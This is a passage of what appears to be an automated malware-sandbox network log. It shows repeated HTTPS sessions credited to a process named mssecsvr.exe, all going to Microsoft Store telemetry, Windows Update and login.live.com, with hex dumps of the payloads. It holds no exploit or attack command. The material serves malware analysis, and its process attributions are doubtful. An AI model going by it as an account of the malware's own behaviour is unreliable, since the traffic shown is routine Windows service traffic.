6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d Data Ascii: kI0*H010UUS10UWashington10URedmond10UMicrosoft Corporation1200U)Microsoft Root Certificate Authority 20100210930182225Z300930183225Z0\|10UUS10UWashington10URedm

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
64	192.168.2.7	54959	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 17:32:48 UTC	8681	OUT	GET /v1/a/installComplete?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=4cf349f7786949f18c75fa319a7e253d&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9WZDNCRFJ3P2&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=06278ea804e74d4c8c813acfbb518d91&time=20220721T023209Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-20 17:32:48 UTC	8682	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: ac9efeec-1cd5-4c22-9f17-1a21895cf978 Date: Wed, 20 Jul 2022 17:32:48 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
65	192.168.2.7	54962	52.242.101.226	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 17:32:49 UTC	8682	OUT	GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=EY1u7asxb1nH4cg&MD=UedlnsCG HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81 Host: sls.update.microsoft.com
2022-07-20 17:32:49 UTC	8683	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "AIP0MQaCzKwF3Wv0wR/DNwKKGDF7CierFQWSKotQHD4=_1440" MS-CorrelationId: f2e61e83-cb69-4173-b66a-1379e37ef5fc MS-RequestId: d7eac735-3d69-4891-ab26-9d475152a991 MS-CV: 72hDT41xPUKe4EB7.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Wed, 20 Jul 2022 17:32:48 GMT Connection: close Content-Length: 35877
2022-07-20 17:32:49 UTC	8684	IN	Data Raw: 4d 53 43 46 00 00 00 00 a5 42 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 0b 87 00 00 14 00 00 00 00 00 10 00 a5 42 00 00 80 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 26 64 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 5a 10 09 f7 39 42 26 64 43 4b ed bd 05 54 5c 5b ba 2d 5c 14 ee ee 1a 08 6e 85 3b 04 0f 1a dc 25 b8 bb 04 97 c2 83 07 09 ee 4e 70 77 09 4e 70 82 05 08 ae 09 ae 21 81 07 c9 91 f4 e9 d3 dd b7 ef ff fa bf fd ee e8 1a 83 aa bd 74 af b5 f6 fa d6 fc be b9 e7 18 c8 29 8b 4a 00 ee 3f ed 04 80 ef 1f b1 1f 3f 00 48 08 08 00 04 00 0a a0 cd 05 00 60 7d cf 41 fb 5e c7 5c 0a f0 db c7 f8 fe ef a1 56 08 3b e0 a7 8f 1f c0 c4 d6 d5 c2 d1 ce d6 c6 c4 d6 99 c9 cd c6 1a e0 3a 60 5b Data Ascii: MSCFBDBId&denvironment.cabZ9B&dCKT\[-\n;%NpwNp!t)J??H`}A^\V;:`[
2022-07-20 17:32:49 UTC	8699	IN	Data Raw: 2c d5 6c a1 e1 97 4f eb 44 d5 d7 31 d1 59 e6 ed 3c 5c f9 e0 bb 34 e4 d4 f6 e5 cf 75 58 d3 7b f1 91 6f 63 a0 cc f4 c4 a6 ab e5 3a e6 92 72 35 5d 84 ce 74 71 d7 d8 f2 ba fb 90 60 ef 04 55 ed e4 64 b9 d4 aa be 35 95 a4 1a 76 94 4a 12 1a 5e d7 70 59 b4 d9 77 7c b8 ec c5 58 bc 81 dc c9 78 5c a5 6d e9 71 c6 e6 a6 15 ed 41 c6 a2 49 2e 32 71 f5 02 07 81 2e 44 1d 42 3d 03 1e a8 78 29 eb e9 65 da ba 86 6b 80 8f 49 2f fa a5 f3 e4 23 e2 fa 9b 83 90 04 f1 75 8a 79 10 c7 93 b7 8f fd 33 4b 03 4f 6b 0f 28 5b b8 32 4e 01 84 ef 42 1d 15 9c 9d 65 dd ca 7a 61 a0 dc bc b3 99 e5 39 00 ce 79 0a 31 d9 aa a7 56 81 87 c8 58 ac 9e 24 94 e7 37 68 95 73 e7 82 04 da c4 25 9d d2 29 a9 f3 9e 78 2e 57 90 a6 a6 93 ee e7 d9 05 1d 46 b8 6c d4 8d 70 2a 62 4a f8 14 89 cc 10 48 bd 5d 96 50 46 Data Ascii: ,lOD1Y<\4uX{oc:r5]tq`Ud5vJ^pYw\|Xx\mqAI.2q.DB=x)ekI/#uy3KOk([2NBeza9y1VX$7hs%)x.WFlp*bJH]PF
2022-07-20 17:32:49 UTC	8715	IN	Data Raw: 00 00 00 15 c5 e7 6b 9e 02 9b 49 99 00 00 00 00 00 15 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 30 81 88 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 32 30 30 06 03 55 04 03 13 29 4d 69 63 72 6f 73 6f 66 74 20 52 6f 6f 74 20 43 65 72 74 69 66 69 63 61 74 65 20 41 75 74 68 6f 72 69 74 79 20 32 30 31 30 30 1e 17 0d 32 31 30 39 33 30 31 38 32 32 32 35 5a 17 0d 33 30 30 39 33 30 31 38 33 32 32 35 5a 30 7c 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d Data Ascii: kI0*H010UUS10UWashington10URedmond10UMicrosoft Corporation1200U)Microsoft Root Certificate Authority 20100210930182225Z300930183225Z0\|10UUS10UWashington10URedm

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
66	192.168.2.7	54964	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 17:32:49 UTC	8682	OUT	GET /v1/a/installComplete?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=4cf349f7786949f18c75fa319a7e253d&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NBLGGH5FV99&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=06278ea804e74d4c8c813acfbb518d91&time=20220721T023210Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-20 17:32:49 UTC	8683	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: 8d25ae40-5683-48ae-b0e7-39f366bd4293 Date: Wed, 20 Jul 2022 17:32:48 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
67	192.168.2.7	54988	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 17:32:49 UTC	8719	OUT	GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=4cf349f7786949f18c75fa319a7e253d&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NXQXXLFST89&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=06278ea804e74d4c8c813acfbb518d91&time=20220721T023212Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-20 17:32:49 UTC	8719	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: 1a6e6ea2-caf9-47f7-ac5b-23b36638e4b2 Date: Wed, 20 Jul 2022 17:32:49 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
68	192.168.2.7	55037	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 17:32:50 UTC	8720	OUT	GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=4cf349f7786949f18c75fa319a7e253d&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9WZDNCRFHVFW&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=06278ea804e74d4c8c813acfbb518d91&time=20220721T023214Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-20 17:32:50 UTC	8720	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: e49b4563-d2aa-4582-a509-dc86d72a9210 Date: Wed, 20 Jul 2022 17:32:50 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
69	192.168.2.7	55068	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 17:32:50 UTC	8720	OUT	GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=4cf349f7786949f18c75fa319a7e253d&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NCBCSZSJRSB&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=06278ea804e74d4c8c813acfbb518d91&time=20220721T023215Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-20 17:32:50 UTC	8721	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: c06652dd-1ba8-44ee-a107-ef5f999a74ec Date: Wed, 20 Jul 2022 17:32:49 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
7	192.168.2.7	50102	20.190.159.71	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 17:30:36 UTC	115	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 18.10.0.17134.0.0; IDCRL-cfg 16.000.29340.5; App svchost.exe, 10.0.17134.1, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4794 Host: login.live.com
2022-07-20 17:30:36 UTC	115	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2022-07-20 17:30:37 UTC	143	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Wed, 20 Jul 2022 17:29:37 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: R3_BL2 x-ms-request-id: 40a36a1b-30f9-4875-a19c-08feeb0f31c6 PPServer: PPV: 30 H: BL02EPF0000683A V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Wed, 20 Jul 2022 17:30:36 GMT Connection: close Content-Length: 11069
2022-07-20 17:30:37 UTC	143	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
70	192.168.2.7	55066	52.152.110.14	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 17:32:50 UTC	8721	OUT	GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=EY1u7asxb1nH4cg&MD=UedlnsCG HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81 Host: sls.update.microsoft.com
2022-07-20 17:32:50 UTC	8722	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "AIP0MQaCzKwF3Wv0wR/DNwKKGDF7CierFQWSKotQHD4=_1440" MS-CorrelationId: 2f175ce2-022c-4f34-b6b4-c924483d122e MS-RequestId: 9e08376d-a24b-489d-af57-f881e5f115ad MS-CV: fA2Xxq8IbkCQl260.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Wed, 20 Jul 2022 17:32:50 GMT Connection: close Content-Length: 35877
2022-07-20 17:32:50 UTC	8723	IN	Data Raw: 4d 53 43 46 00 00 00 00 a5 42 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 0b 87 00 00 14 00 00 00 00 00 10 00 a5 42 00 00 80 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 26 64 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 5a 10 09 f7 39 42 26 64 43 4b ed bd 05 54 5c 5b ba 2d 5c 14 ee ee 1a 08 6e 85 3b 04 0f 1a dc 25 b8 bb 04 97 c2 83 07 09 ee 4e 70 77 09 4e 70 82 05 08 ae 09 ae 21 81 07 c9 91 f4 e9 d3 dd b7 ef ff fa bf fd ee e8 1a 83 aa bd 74 af b5 f6 fa d6 fc be b9 e7 18 c8 29 8b 4a 00 ee 3f ed 04 80 ef 1f b1 1f 3f 00 48 08 08 00 04 00 0a a0 cd 05 00 60 7d cf 41 fb 5e c7 5c 0a f0 db c7 f8 fe ef a1 56 08 3b e0 a7 8f 1f c0 c4 d6 d5 c2 d1 ce d6 c6 c4 d6 99 c9 cd c6 1a e0 3a 60 5b Data Ascii: MSCFBDBId&denvironment.cabZ9B&dCKT\[-\n;%NpwNp!t)J??H`}A^\V;:`[
2022-07-20 17:32:50 UTC	8738	IN	Data Raw: 2c d5 6c a1 e1 97 4f eb 44 d5 d7 31 d1 59 e6 ed 3c 5c f9 e0 bb 34 e4 d4 f6 e5 cf 75 58 d3 7b f1 91 6f 63 a0 cc f4 c4 a6 ab e5 3a e6 92 72 35 5d 84 ce 74 71 d7 d8 f2 ba fb 90 60 ef 04 55 ed e4 64 b9 d4 aa be 35 95 a4 1a 76 94 4a 12 1a 5e d7 70 59 b4 d9 77 7c b8 ec c5 58 bc 81 dc c9 78 5c a5 6d e9 71 c6 e6 a6 15 ed 41 c6 a2 49 2e 32 71 f5 02 07 81 2e 44 1d 42 3d 03 1e a8 78 29 eb e9 65 da ba 86 6b 80 8f 49 2f fa a5 f3 e4 23 e2 fa 9b 83 90 04 f1 75 8a 79 10 c7 93 b7 8f fd 33 4b 03 4f 6b 0f 28 5b b8 32 4e 01 84 ef 42 1d 15 9c 9d 65 dd ca 7a 61 a0 dc bc b3 99 e5 39 00 ce 79 0a 31 d9 aa a7 56 81 87 c8 58 ac 9e 24 94 e7 37 68 95 73 e7 82 04 da c4 25 9d d2 29 a9 f3 9e 78 2e 57 90 a6 a6 93 ee e7 d9 05 1d 46 b8 6c d4 8d 70 2a 62 4a f8 14 89 cc 10 48 bd 5d 96 50 46 Data Ascii: ,lOD1Y<\4uX{oc:r5]tq`Ud5vJ^pYw\|Xx\mqAI.2q.DB=x)ekI/#uy3KOk([2NBeza9y1VX$7hs%)x.WFlp*bJH]PF
2022-07-20 17:32:50 UTC	8754	IN	Data Raw: 00 00 00 15 c5 e7 6b 9e 02 9b 49 99 00 00 00 00 00 15 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 30 81 88 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 32 30 30 06 03 55 04 03 13 29 4d 69 63 72 6f 73 6f 66 74 20 52 6f 6f 74 20 43 65 72 74 69 66 69 63 61 74 65 20 41 75 74 68 6f 72 69 74 79 20 32 30 31 30 30 1e 17 0d 32 31 30 39 33 30 31 38 32 32 32 35 5a 17 0d 33 30 30 39 33 30 31 38 33 32 32 35 5a 30 7c 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d Data Ascii: kI0*H010UUS10UWashington10URedmond10UMicrosoft Corporation1200U)Microsoft Root Certificate Authority 20100210930182225Z300930183225Z0\|10UUS10UWashington10URedm

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
71	192.168.2.7	55116	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 17:32:50 UTC	8721	OUT	GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=4cf349f7786949f18c75fa319a7e253d&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NMPJ99VJBWV&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=06278ea804e74d4c8c813acfbb518d91&time=20220721T023220Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-20 17:32:50 UTC	8722	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: 9706ca02-1eeb-41cc-9996-1cc92a1c908a Date: Wed, 20 Jul 2022 17:32:50 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
72	192.168.2.7	55122	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 17:32:51 UTC	8758	OUT	GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=4cf349f7786949f18c75fa319a7e253d&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NBLGGH5FV99&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=06278ea804e74d4c8c813acfbb518d91&time=20220721T023221Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-20 17:32:51 UTC	8758	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: 29fd53c9-c0c6-4c65-ac93-6bbd9a95bdc8 Date: Wed, 20 Jul 2022 17:32:50 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
73	192.168.2.7	55126	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 17:32:51 UTC	8758	OUT	GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=4cf349f7786949f18c75fa319a7e253d&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9WZDNCRDFNG7&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=06278ea804e74d4c8c813acfbb518d91&time=20220721T023223Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-20 17:32:51 UTC	8759	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: 75918ed7-57f3-42db-b775-efc0d0603f24 Date: Wed, 20 Jul 2022 17:32:51 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
74	192.168.2.7	55125	52.152.110.14	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 17:32:51 UTC	8759	OUT	GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=EY1u7asxb1nH4cg&MD=UedlnsCG HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81 Host: sls.update.microsoft.com
2022-07-20 17:32:51 UTC	8760	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "AIP0MQaCzKwF3Wv0wR/DNwKKGDF7CierFQWSKotQHD4=_1440" MS-CorrelationId: 13b0e9d4-8506-40be-a82d-98296d89b99e MS-RequestId: b9cb317a-0661-49b6-94b4-146267465d9c MS-CV: hvXdYk9Sm0SrirEY.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Wed, 20 Jul 2022 17:32:51 GMT Connection: close Content-Length: 35877
2022-07-20 17:32:51 UTC	8761	IN	Data Raw: 4d 53 43 46 00 00 00 00 a5 42 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 0b 87 00 00 14 00 00 00 00 00 10 00 a5 42 00 00 80 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 26 64 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 5a 10 09 f7 39 42 26 64 43 4b ed bd 05 54 5c 5b ba 2d 5c 14 ee ee 1a 08 6e 85 3b 04 0f 1a dc 25 b8 bb 04 97 c2 83 07 09 ee 4e 70 77 09 4e 70 82 05 08 ae 09 ae 21 81 07 c9 91 f4 e9 d3 dd b7 ef ff fa bf fd ee e8 1a 83 aa bd 74 af b5 f6 fa d6 fc be b9 e7 18 c8 29 8b 4a 00 ee 3f ed 04 80 ef 1f b1 1f 3f 00 48 08 08 00 04 00 0a a0 cd 05 00 60 7d cf 41 fb 5e c7 5c 0a f0 db c7 f8 fe ef a1 56 08 3b e0 a7 8f 1f c0 c4 d6 d5 c2 d1 ce d6 c6 c4 d6 99 c9 cd c6 1a e0 3a 60 5b Data Ascii: MSCFBDBId&denvironment.cabZ9B&dCKT\[-\n;%NpwNp!t)J??H`}A^\V;:`[
2022-07-20 17:32:51 UTC	8776	IN	Data Raw: 2c d5 6c a1 e1 97 4f eb 44 d5 d7 31 d1 59 e6 ed 3c 5c f9 e0 bb 34 e4 d4 f6 e5 cf 75 58 d3 7b f1 91 6f 63 a0 cc f4 c4 a6 ab e5 3a e6 92 72 35 5d 84 ce 74 71 d7 d8 f2 ba fb 90 60 ef 04 55 ed e4 64 b9 d4 aa be 35 95 a4 1a 76 94 4a 12 1a 5e d7 70 59 b4 d9 77 7c b8 ec c5 58 bc 81 dc c9 78 5c a5 6d e9 71 c6 e6 a6 15 ed 41 c6 a2 49 2e 32 71 f5 02 07 81 2e 44 1d 42 3d 03 1e a8 78 29 eb e9 65 da ba 86 6b 80 8f 49 2f fa a5 f3 e4 23 e2 fa 9b 83 90 04 f1 75 8a 79 10 c7 93 b7 8f fd 33 4b 03 4f 6b 0f 28 5b b8 32 4e 01 84 ef 42 1d 15 9c 9d 65 dd ca 7a 61 a0 dc bc b3 99 e5 39 00 ce 79 0a 31 d9 aa a7 56 81 87 c8 58 ac 9e 24 94 e7 37 68 95 73 e7 82 04 da c4 25 9d d2 29 a9 f3 9e 78 2e 57 90 a6 a6 93 ee e7 d9 05 1d 46 b8 6c d4 8d 70 2a 62 4a f8 14 89 cc 10 48 bd 5d 96 50 46 Data Ascii: ,lOD1Y<\4uX{oc:r5]tq`Ud5vJ^pYw\|Xx\mqAI.2q.DB=x)ekI/#uy3KOk([2NBeza9y1VX$7hs%)x.WFlp*bJH]PF
